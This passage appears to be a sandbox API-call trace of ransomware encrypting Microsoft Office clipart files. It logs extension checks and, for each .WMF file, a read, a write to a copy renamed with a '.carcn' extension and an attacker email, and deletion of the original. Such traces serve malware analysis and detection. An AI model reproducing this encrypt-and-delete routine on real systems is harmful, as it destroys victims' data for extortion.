lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.150] lstrlenW (lpString=".1cd") returned 4 [0300.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.150] lstrlenW (lpString=".jpg") returned 4 [0300.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.151] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.151] lstrlenW (lpString="DD01015_.WMF") returned 12 [0300.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.151] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2226) returned 1 [0300.151] CloseHandle (hObject=0x368) returned 1 [0300.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0300.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.152] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.152] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.153] GetLastError () returned 0x0 [0300.153] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x8b2, lpOverlapped=0x0) returned 1 [0300.154] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x8c0, lpOverlapped=0x0) returned 1 [0300.155] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.155] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.155] SetEndOfFile (hFile=0x388) returned 1 [0300.496] CloseHandle (hObject=0x388) returned 1 [0300.498] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.499] SetEndOfFile (hFile=0x368) returned 1 [0300.499] CloseHandle (hObject=0x368) returned 1 [0300.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0300.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.500] lstrlenW (lpString=".doc") returned 4 [0300.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.501] lstrlenW (lpString=".docx") returned 5 [0300.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.501] lstrlenW (lpString=".pdf") returned 4 [0300.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.501] lstrlenW (lpString=".xls") returned 4 [0300.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.501] lstrlenW (lpString=".xlsx") returned 5 [0300.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.501] lstrlenW (lpString=".ppt") returned 4 [0300.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.501] lstrlenW (lpString=".zip") returned 4 [0300.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.501] lstrlenW (lpString=".rar") returned 4 [0300.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.501] lstrlenW (lpString=".bz2") returned 4 [0300.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.501] lstrlenW (lpString=".7z") returned 3 [0300.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.501] lstrlenW (lpString=".dbf") returned 4 [0300.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.501] lstrlenW (lpString=".1cd") returned 4 [0300.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.501] lstrlenW (lpString=".jpg") returned 4 [0300.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.502] lstrlenW (lpString=".doc") returned 4 [0300.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.502] lstrlenW (lpString=".docx") returned 5 [0300.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.502] lstrlenW (lpString=".pdf") returned 4 [0300.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.502] lstrlenW (lpString=".xls") returned 4 [0300.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.502] lstrlenW (lpString=".xlsx") returned 5 [0300.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.502] lstrlenW (lpString=".ppt") returned 4 [0300.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.502] lstrlenW (lpString=".zip") returned 4 [0300.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.502] lstrlenW (lpString=".rar") returned 4 [0300.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.502] lstrlenW (lpString=".bz2") returned 4 [0300.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.502] lstrlenW (lpString=".7z") returned 3 [0300.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.502] lstrlenW (lpString=".dbf") returned 4 [0300.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.502] lstrlenW (lpString=".1cd") returned 4 [0300.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0300.502] lstrlenW (lpString=".jpg") returned 4 [0300.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.503] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.503] lstrlenW (lpString="DD01039_.WMF") returned 12 [0300.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.503] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=14820) returned 1 [0300.503] CloseHandle (hObject=0x368) returned 1 [0300.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0300.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.504] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.504] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.505] GetLastError () returned 0x0 [0300.505] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x39e4, lpOverlapped=0x0) returned 1 [0300.506] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x39f0, lpOverlapped=0x0) returned 1 [0300.507] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.507] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.507] SetEndOfFile (hFile=0x388) returned 1 [0300.507] CloseHandle (hObject=0x388) returned 1 [0300.508] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.508] SetEndOfFile (hFile=0x368) returned 1 [0300.509] CloseHandle (hObject=0x368) returned 1 [0300.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0300.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.509] lstrlenW (lpString=".doc") returned 4 [0300.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.510] lstrlenW (lpString=".docx") returned 5 [0300.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.510] lstrlenW (lpString=".pdf") returned 4 [0300.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.510] lstrlenW (lpString=".xls") returned 4 [0300.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.510] lstrlenW (lpString=".xlsx") returned 5 [0300.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.510] lstrlenW (lpString=".ppt") returned 4 [0300.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.510] lstrlenW (lpString=".zip") returned 4 [0300.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.510] lstrlenW (lpString=".rar") returned 4 [0300.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.510] lstrlenW (lpString=".bz2") returned 4 [0300.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.510] lstrlenW (lpString=".7z") returned 3 [0300.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.510] lstrlenW (lpString=".dbf") returned 4 [0300.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.510] lstrlenW (lpString=".1cd") returned 4 [0300.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.510] lstrlenW (lpString=".jpg") returned 4 [0300.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.511] lstrlenW (lpString=".doc") returned 4 [0300.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.511] lstrlenW (lpString=".docx") returned 5 [0300.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.511] lstrlenW (lpString=".pdf") returned 4 [0300.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.511] lstrlenW (lpString=".xls") returned 4 [0300.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.511] lstrlenW (lpString=".xlsx") returned 5 [0300.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.511] lstrlenW (lpString=".ppt") returned 4 [0300.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.511] lstrlenW (lpString=".zip") returned 4 [0300.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.511] lstrlenW (lpString=".rar") returned 4 [0300.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.511] lstrlenW (lpString=".bz2") returned 4 [0300.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.511] lstrlenW (lpString=".7z") returned 3 [0300.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.511] lstrlenW (lpString=".dbf") returned 4 [0300.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.511] lstrlenW (lpString=".1cd") returned 4 [0300.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0300.512] lstrlenW (lpString=".jpg") returned 4 [0300.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.512] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.512] lstrlenW (lpString="DD01138_.WMF") returned 12 [0300.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.512] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3692) returned 1 [0300.512] CloseHandle (hObject=0x368) returned 1 [0300.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0300.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.513] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.513] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.514] GetLastError () returned 0x0 [0300.514] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xe6c, lpOverlapped=0x0) returned 1 [0300.514] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xe70, lpOverlapped=0x0) returned 1 [0300.515] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.515] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.516] SetEndOfFile (hFile=0x388) returned 1 [0300.516] CloseHandle (hObject=0x388) returned 1 [0300.516] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.516] SetEndOfFile (hFile=0x368) returned 1 [0300.517] CloseHandle (hObject=0x368) returned 1 [0300.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0300.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.518] lstrlenW (lpString=".doc") returned 4 [0300.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.518] lstrlenW (lpString=".docx") returned 5 [0300.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.518] lstrlenW (lpString=".pdf") returned 4 [0300.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.518] lstrlenW (lpString=".xls") returned 4 [0300.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.518] lstrlenW (lpString=".xlsx") returned 5 [0300.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.518] lstrlenW (lpString=".ppt") returned 4 [0300.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.518] lstrlenW (lpString=".zip") returned 4 [0300.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.518] lstrlenW (lpString=".rar") returned 4 [0300.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.518] lstrlenW (lpString=".bz2") returned 4 [0300.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.519] lstrlenW (lpString=".7z") returned 3 [0300.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.519] lstrlenW (lpString=".dbf") returned 4 [0300.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.519] lstrlenW (lpString=".1cd") returned 4 [0300.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.519] lstrlenW (lpString=".jpg") returned 4 [0300.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.519] lstrlenW (lpString=".doc") returned 4 [0300.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.519] lstrlenW (lpString=".docx") returned 5 [0300.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.519] lstrlenW (lpString=".pdf") returned 4 [0300.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.519] lstrlenW (lpString=".xls") returned 4 [0300.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.519] lstrlenW (lpString=".xlsx") returned 5 [0300.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.519] lstrlenW (lpString=".ppt") returned 4 [0300.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.519] lstrlenW (lpString=".zip") returned 4 [0300.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.520] lstrlenW (lpString=".rar") returned 4 [0300.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.520] lstrlenW (lpString=".bz2") returned 4 [0300.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.520] lstrlenW (lpString=".7z") returned 3 [0300.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.520] lstrlenW (lpString=".dbf") returned 4 [0300.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.520] lstrlenW (lpString=".1cd") returned 4 [0300.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0300.520] 